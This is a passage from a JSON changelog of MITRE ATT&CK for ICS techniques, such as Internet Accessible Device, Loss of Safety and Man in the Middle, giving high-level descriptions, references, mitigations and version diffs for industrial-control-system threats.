Registry: Windows Registry Key Modification\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Windows\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0922: Restrict File and Directory Permissions" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--f8df6b57-14bc-425f-9a91-6f59f6799307", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Internet Accessible Device", "description": "Adversaries may gain access into industrial environments through systems exposed directly to the internet for remote access rather than through External Remote Services. Internet Accessible Devices are exposed to the internet unintentionally or intentionally without adequate protections. This may allow for adversaries to move directly into the control system network. Access onto these devices is accomplished without the use of exploits, these would be represented within the Exploit Public-Facing Application technique. Adversaries may leverage built in functions for remote access which may not be protected or utilize minimal legacy protections that may be targeted.(Citation: Bowman Dam - ICS-CERT) In the case of the Bowman dam incident, adversaries leveraged access to the dam control network through a cellular modem. Access to the device was protected by password authentication, although the application was vulnerable to brute forcing.(Citation: Bowman Dam - ICS-CERT)(Citation: Bowman Dam - wall street journal)(Citation: owman Dam - Times) In Trend Micro\u2019s manufacturing deception operations adversaries were detected leveraging direct internet access to an ICS environment through the exposure of operational protocols such as Siemens S7, Omron FINS, and EtherNet/IP, in addition to misconfigured VNC access.(Citation: Trend Micro Honeypot)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "initial-access-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0883", "external_id": "T0883" }, { "source_name": "Bowman Dam - ICS-CERT", "description": "NCCIC. (2014, January 1). Internet Accessible Control Systems At Risk. Retrieved November 7, 2019.", "url": "https://www.us-cert.gov/sites/default/files/Monitors/ICS-CERT%20Monitor%20Jan-April2014.pdf" }, { "source_name": "Bowman Dam - wall street journal", "description": "Danny Yadron. (2015, December 20). Iranian Hackers Infiltrated New York Dam in 2013. Retrieved November 7, 2019.", "url": "https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559" }, { "source_name": "Bowman Dam - Times", "description": "Mark Thompson. (2016, March 24). Iranian Cyber Attack on New York Dam Shows Future of War. Retrieved November 7, 2019.", "url": "https://time.com/4270728/iran-cyber-attack-dam-fbi/" }, { "source_name": "Trend Micro Honeypot", "description": "Stephen Hilt, Federico Maggi, Charles Perine, Lord Remorin, Martin R\u00f6sler, and Rainer Vosseler. (n.d.). Caught in the Act: Running a Realistic Factory Honeypot to Capture Real Threats. Retrieved April 12, 2021.", "url": "https://documents.trendmicro.com/assets/white_papers/wp-caught-in-the-act-running-a-realistic-factory-honeypot-to-capture-real-threats.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "Logon Session: Logon Session Metadata" ], "x_mitre_platforms": [ "Control Server", "Data Historian", "Field Controller/RTU/PLC/IED", "Human-Machine Interface", "Input/Output Server", "Safety Instrumented System/Protection Relay" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Flow\", \"old_value\": \"Authentication logs\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][1]\": \"Network Traffic: Network Traffic Content\", \"root['x_mitre_data_sources'][2]\": \"Logon Session: Logon Session Metadata\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Windows\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0930: Network Segmentation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--ead7bd34-186e-4c79-9a4d-b65bcce6ed9d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Lateral Tool Transfer", "description": "Adversaries may transfer tools or other files from one system to another to stage adversary tools or other files over the course of an operation. (Citation: EAttack Lateral Tool Transfer) Copying of files may also be performed laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares. (Citation: EAttack Remote File Copy)\n\nIn control systems environments, malware may use SMB and other file sharing protocols to move laterally through industrial networks.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "lateral-movement-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0867", "external_id": "T0867" }, { "source_name": "EAttack Lateral Tool Transfer", "description": "Enterprise ATT&CK. (n.d.). Lateral Tool Transfer. Retrieved October 27, 2019.", "url": "https://attack.mitre.org/techniques/T1570/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution", "File: File Creation", "File: File Metadata", "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow", "Process: Process Creation" ], "x_mitre_platforms": [ "Human-Machine Interface", "Control Server", "Data Historian" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2021-04-12 16:19:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Command: Command Execution\", \"old_value\": \"File monitoring\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"File: File Creation\", \"old_value\": \"Packet capture\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"File: File Metadata\", \"old_value\": \"Process use of network\"}, \"root['x_mitre_data_sources'][3]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Process monitoring\"}, \"root['x_mitre_data_sources'][4]\": {\"new_value\": \"Network Traffic: Network Traffic Flow\", \"old_value\": \"Netflow/Enclave netflow\"}, \"root['x_mitre_data_sources'][5]\": {\"new_value\": \"Process: Process Creation\", \"old_value\": \"Network protocol analysis\"}}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0931: Network Intrusion Prevention" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--b5b9bacb-97f2-4249-b804-47fd44de1f95", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Loss of Availability", "description": "Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) \n\nAdversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases. In the 2021 Colonial Pipeline ransomware incident, pipeline operations were temporally halted on May 7th and were not fully restarted until May 12th.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "impact-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0826", "external_id": "T0826" }, { "source_name": "Reference - Corero", "description": "Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.", "url": "https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf" }, { "source_name": "Reference - SANS - 201510", "description": "Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.", "url": "https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297" }, { "source_name": "Reference - RIoT", "description": "Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019." } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_platforms": [ "Windows" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) \\n\\nAdversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases. In the 2021 Colonial Pipeline ransomware incident, pipeline operations were temporally halted on May 7th and were not fully restarted until May 12th.\", \"old_value\": \"Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) \\n\\nAdversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) \\n \\n-Adversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases.\\n+Adversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases. In the 2021 Colonial Pipeline ransomware incident, pipeline operations were temporally halted on May 7th and were not fully restarted until May 12th.\"}}}", "previous_version": "0.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may attempt to disrupt essential components or st1Adversaries may attempt to disrupt essential components or s
>ystems to prevent owner and operator from delivering product>ystems to prevent owner and operator from delivering product
>s or services. (Citation: Reference - Corero) (Citation: Ref>s or services. (Citation: Reference - Corero) (Citation: Ref
>erence - SANS - 201510) (Citation: Reference - RIoT)   Adver>erence - SANS - 201510) (Citation: Reference - RIoT)   Adver
>saries may leverage malware to delete or encrypt critical da>saries may leverage malware to delete or encrypt critical da
>ta on HMIs, workstations, or databases.>ta on HMIs, workstations, or databases. In the 2021 Colonial
 > Pipeline ransomware incident, pipeline operations were temp
 >orally halted on May 7th and were not fully restarted until 
 >May 12th.
", "changelog_mitigations": { "shared": [ "M0810: Out-of-Band Communications Channel", "M0811: Redundancy of Service", "M0953: Data Backup" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--63b6942d-8359-4506-bfb3-cf87aa8120ee", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-14 15:25:32.143000+00:00", "name": "Loss of Productivity and Revenue", "description": "Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments.\n\nIn cases where these operations or services are brought to a halt, the loss of productivity may eventually present an impact for the end-users or consumers of products and services. The disrupted supply-chain may result in supply shortages and increased prices, among other consequences.\n\nA ransomware attack on an Australian beverage company resulted in the shutdown of some manufacturing sites, including precautionary halts to protect key systems. (Citation: Distrupted Operations at Lion Company June 2020) The company announced the potential for temporary shortages of their products following the attack. (Citation: Distrupted Operations at Lion Company June 2020) (Citation: Lion Cyber Incident June 2020)\n\nIn the 2021 Colonial Pipeline ransomware incident, the pipeline was unable to transport approximately 2.5 million barrels of fuel per day to the East Coast. (Citation: Colonial Pipeline System Distruption May 2021)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "impact-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0828", "external_id": "T0828" }, { "source_name": "Distrupted Operations at Lion Company June 2020", "description": "Paganini, Pierluigi. (2020, June 14). Ransomware attack disrupts operations at Australian beverage company Lion. Retrieved October 8, 2021.", "url": "https://securityaffairs.co/wordpress/104749/cyber-crime/ransomware-attack-hit-lion.html" }, { "source_name": "Lion Cyber Incident June 2020", "description": "Lion Corporation. (2020, June 26). Lion Cyber incident update: 26 June 2020. Retrieved October 8, 2021.", "url": "https://lionco.com/2020/06/26/lion-update-re-cyber-issue/" }, { "source_name": "Colonial Pipeline System Distruption May 2021", "description": "Colonial Pipeline Company. (2021, May). Media Statement Update: Colonial Pipeline System Disruption. Retrieved October 8, 2021.", "url": "https://www.colpipe.com/news/press-releases/media-statement-colonial-pipeline-system-disruption" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_platforms": [ "None" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments.\\n\\nIn cases where these operations or services are brought to a halt, the loss of productivity may eventually present an impact for the end-users or consumers of products and services. The disrupted supply-chain may result in supply shortages and increased prices, among other consequences.\\n\\nA ransomware attack on an Australian beverage company resulted in the shutdown of some manufacturing sites, including precautionary halts to protect key systems. (Citation: Distrupted Operations at Lion Company June 2020) The company announced the potential for temporary shortages of their products following the attack. (Citation: Distrupted Operations at Lion Company June 2020) (Citation: Lion Cyber Incident June 2020)\\n\\nIn the 2021 Colonial Pipeline ransomware incident, the pipeline was unable to transport approximately 2.5 million barrels of fuel per day to the East Coast. (Citation: Colonial Pipeline System Distruption May 2021)\", \"old_value\": \"Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments. In some cases, this may result from the postponement and disruption of ICS operations and production as part of a remediation effort. Operations may be brought to a halt and effectively stopped in an effort to contain and properly remove malware or due to the Loss of Safety.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,7 @@\\n-Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments. In some cases, this may result from the postponement and disruption of ICS operations and production as part of a remediation effort. Operations may be brought to a halt and effectively stopped in an effort to contain and properly remove malware or due to the Loss of Safety.\\n+Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments.\\n+\\n+In cases where these operations or services are brought to a halt, the loss of productivity may eventually present an impact for the end-users or consumers of products and services. The disrupted supply-chain may result in supply shortages and increased prices, among other consequences.\\n+\\n+A ransomware attack on an Australian beverage company resulted in the shutdown of some manufacturing sites, including precautionary halts to protect key systems. (Citation: Distrupted Operations at Lion Company June 2020) The company announced the potential for temporary shortages of their products following the attack. (Citation: Distrupted Operations at Lion Company June 2020) (Citation: Lion Cyber Incident June 2020)\\n+\\n+In the 2021 Colonial Pipeline ransomware incident, the pipeline was unable to transport approximately 2.5 million barrels of fuel per day to the East Coast. (Citation: Colonial Pipeline System Distruption May 2021)\"}, \"root['x_mitre_platforms'][0]\": {\"new_value\": \"None\", \"old_value\": \"Windows\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Distrupted Operations at Lion Company June 2020\", \"description\": \"Paganini, Pierluigi. (2020, June 14). Ransomware attack disrupts operations at Australian beverage company Lion. Retrieved October 8, 2021.\", \"url\": \"https://securityaffairs.co/wordpress/104749/cyber-crime/ransomware-attack-hit-lion.html\"}, \"root['external_references'][2]\": {\"source_name\": \"Lion Cyber Incident June 2020\", \"description\": \"Lion Corporation. (2020, June 26). Lion Cyber incident update: 26 June 2020. Retrieved October 8, 2021.\", \"url\": \"https://lionco.com/2020/06/26/lion-update-re-cyber-issue/\"}, \"root['external_references'][3]\": {\"source_name\": \"Colonial Pipeline System Distruption May 2021\", \"description\": \"Colonial Pipeline Company. (2021, May). Media Statement Update: Colonial Pipeline System Disruption. Retrieved October 8, 2021.\", \"url\": \"https://www.colpipe.com/news/press-releases/media-statement-colonial-pipeline-system-disruption\"}}}", "previous_version": "0.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may cause loss of productivity and revenue throut1Adversaries may cause loss of productivity and revenue throu
>gh disruption and even damage to the availability and integr>gh disruption and even damage to the availability and integr
>ity of control system operations, devices, and related proce>ity of control system operations, devices, and related proce
>sses. This technique may manifest as a direct effect of an I>sses. This technique may manifest as a direct effect of an I
>CS-targeting attack or tangentially, due to an IT-targeting >CS-targeting attack or tangentially, due to an IT-targeting 
>attack against non-segregated environments. In some cases, t>attack against non-segregated environments.  In cases where 
>his may result from the postponement and disruption of ICS o>these operations or services are brought to a halt, the loss
>perations and production as part of a remediation effort. Op> of productivity may eventually present an impact for the en
>erations may be brought to a halt and effectively stopped in>d-users or consumers of products and services. The disrupted
> an effort to contain and properly remove malware or due to > supply-chain may result in supply shortages and increased p
>the <span class=\"smw-format list-format \"><span class=\"smw-r>rices, among other consequences.  A ransomware attack on an 
>ow\"><span class=\"smw-field\"><span class=\"smw-value\">Loss of >Australian beverage company resulted in the shutdown of some
>Safety</span></span></span></span>.> manufacturing sites, including precautionary halts to prote
 >ct key systems. (Citation: Distrupted Operations at Lion Com
 >pany June 2020) The company announced the potential for temp
 >orary shortages of their products following the attack. (Cit
 >ation: Distrupted Operations at Lion Company June 2020) (Cit
 >ation: Lion Cyber Incident June 2020)  In the 2021 Colonial 
 >Pipeline ransomware incident, the pipeline was unable to tra
 >nsport approximately 2.5 million barrels of fuel per day to 
 >the East Coast. (Citation: Colonial Pipeline System Distrupt
 >ion May 2021)
", "changelog_mitigations": { "shared": [ "M0953: Data Backup" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--5fa00fdd-4a55-4191-94a0-564181d7fec2", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-04-12 07:57:26.506000+00:00", "name": "Loss of Safety", "description": "Adversaries may compromise safety system functions designed to maintain safe operation of a process when unacceptable or dangerous conditions occur. Safety systems are often composed of the same elements as control systems but have the sole purpose of ensuring the process fails in a predetermined safe manner. Many unsafe conditions in process control happen too quickly for a human operator to react to. Speed is critical in correcting these conditions to limit serious impacts such as Loss of Control and Property Damage. Adversaries may target and disable safety system functions as a prerequisite to subsequent attack execution or to allow for future unsafe conditionals to go unchecked. Detection of a Loss of Safety by operators can result in the shutdown of a process due to strict policies regarding safety systems. This can cause a Loss of Productivity and Revenue and may meet the technical goals of adversaries seeking to cause process disruptions.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "impact-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0880", "external_id": "T0880" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_platforms": [ "None" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-04-12 07:57:26.506000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_platforms'][0]\": {\"new_value\": \"None\", \"old_value\": \"Windows\"}}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0805: Mechanical Protection Layers", "M0812: Safety Instrumented Systems" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--138979ba-0430-4de6-a128-2fc0b056ba36", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-04-12 07:57:26.506000+00:00", "name": "Loss of View", "description": "Adversaries may cause a sustained or permanent loss of view where the ICS equipment will require local, hands-on operator intervention; for instance, a restart or manual operation. By causing a sustained reporting or visibility loss, the adversary can effectively hide the present state of operations. This loss of view can occur without affecting the physical processes themselves. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "impact-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0829", "external_id": "T0829" }, { "source_name": "Reference - Corero", "description": "Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.", "url": "https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf" }, { "source_name": "Reference - SANS - 201510", "description": "Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.", "url": "https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297" }, { "source_name": "Reference - RIoT", "description": "Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019." } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_platforms": [ "Human-Machine Interface", "Engineering Workstation" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-04-12 07:57:26.506000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0810: Out-of-Band Communications Channel", "M0811: Redundancy of Service", "M0953: Data Backup" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--9a505987-ab05-4f46-a9a6-6441442eec3b", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Man in the Middle", "description": "Adversaries with privileged network access may seek to modify network traffic in real time using man-in-the-middle (MITM) attacks. (Citation: Reference - SANS - 201710) This type of attack allows the adversary to intercept traffic to and/or from a particular device on the network. If a MITM attack is established, then the adversary has the ability to block, log, modify, or inject traffic into the communication stream. There are several ways to accomplish this attack, but some of the most-common are Address Resolution Protocol (ARP) poisoning and the use of a proxy. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) \n\t\t\t\nA MITM attack may allow an adversary to perform the following attacks:\n \nBlock Reporting Message, Spoof Reporting Message, Modify Parameter, Unauthorized Command Message", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "collection-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0830", "external_id": "T0830" }, { "source_name": "Research - Research - Taxonomy Cyber Attacks on SCADA", "description": "Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.", "url": "http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258" }, { "source_name": "Reference - SANS - 201710", "description": "Gabriel Sanchez. (2017, October). Man-In-The-Middle Attack Against Modbus TCP Illustrated with Wireshark. Retrieved January 5, 2020.", "url": "https://www.sans.org/reading-room/whitepapers/ICS/man-in-the-middle-attack-modbus-tcp-illustrated-wireshark-38095" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Conrad Layne - GE Digital" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "Process: OS API Execution", "Process: Process Creation", "Command: Command Execution" ], "x_mitre_platforms": [ "Control Server", "Field Controller/RTU/PLC/IED", "Human-Machine Interface" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2021-04-12 15:35:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Flow\", \"old_value\": \"Network device logs\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Netflow/Enclave netflow\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Process: OS API Execution\", \"old_value\": \"Packet capture\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][3]\": \"Process: Process Creation\", \"root['x_mitre_data_sources'][4]\": \"Command: Command Execution\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0802: Communication Authenticity", "M0810: Out-of-Band Communications Channel", "M0813: Software Process and Device Authentication", "M0814: Static Network Configuration", "M0930: Network Segmentation", "M0931: Network Intrusion Prevention", "M0937: Filter Network Traffic", "M0942: Disable or Remove Feature or Program" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--36e9f5bc-ac13-4da4-a2f4-01f4877d9004", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-14 15:25:32.143000+00:00", "name": "Manipulate I/O Image", "description": "Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. (Citation: Guidance - ISA PLC) \n\nDuring the scan cycle, a PLC reads the status of all inputs and stores them in an image table.2 The image table is the PLC\u2019s internal storage location where values of inputs/outputs for one scan are stored while it executes the user program. After the PLC has solved the entire logic program, it updates the output image table. The contents of this output image table are written to the corresponding output points in I/O Modules.\n\nOne of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "inhibit-response-function" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T835", "external_id": "T0835" }, { "source_name": "Guidance - ISA PLC", "description": "Dr. Kelvin T. Erickson. (2010, December). Programmable logic controller hardware. Retrieved March 29, 2018.", "url": "https://www.isa.org/standards-and-publications/isa-publications/intech/2010/december/programmable-logic-controller-hardware/" }, { "source_name": "PLC-Blaster 2", "description": "Spenneberg, Ralf. (2016). PLC-Blaster. Retrieved June 6, 2019.", "url": "https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf" }, { "source_name": "Stuxnet - Symantec - 201102", "description": "Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.", "url": "https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Operational Databases: Process History/Live Data", "Operational Databases: Device Alarm" ], "x_mitre_platforms": [ "Field Controller/RTU/PLC/IED" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. (Citation: Guidance - ISA PLC) \\n\\nDuring the scan cycle, a PLC reads the status of all inputs and stores them in an image table.2 The image table is the PLC\\u2019s internal storage location where values of inputs/outputs for one scan are stored while it executes the user program. After the PLC has solved the entire logic program, it updates the output image table. The contents of this output image table are written to the corresponding output points in I/O Modules.\\n\\nOne of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status.\", \"old_value\": \"Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. (Citation: Guidance - ISA PLC) \\n\\nDuring the PLC scan cycle, the state of the actual physical inputs is copied to a portion of the PLC memory, commonly called the input image table. When the program is scanned, it examines the input image table to read the state of a physical input. \\n\\nWhen the logic determines the state of a physical output, it writes to a portion of the PLC memory commonly called the output image table. The output image may also be examined during the program scan. To update the physical outputs, the output image table contents are copied to the physical outputs after the program is scanned.\\n\\nOne of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +1,5 @@\\n Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. (Citation: Guidance - ISA PLC) \\n \\n-During the PLC scan cycle, the state of the actual physical inputs is copied to a portion of the PLC memory, commonly called the input image table. When the program is scanned, it examines the input image table to read the state of a physical input. \\n-\\n-When the logic determines the state of a physical output, it writes to a portion of the PLC memory commonly called the output image table. The output image may also be examined during the program scan. To update the physical outputs, the output image table contents are copied to the physical outputs after the program is 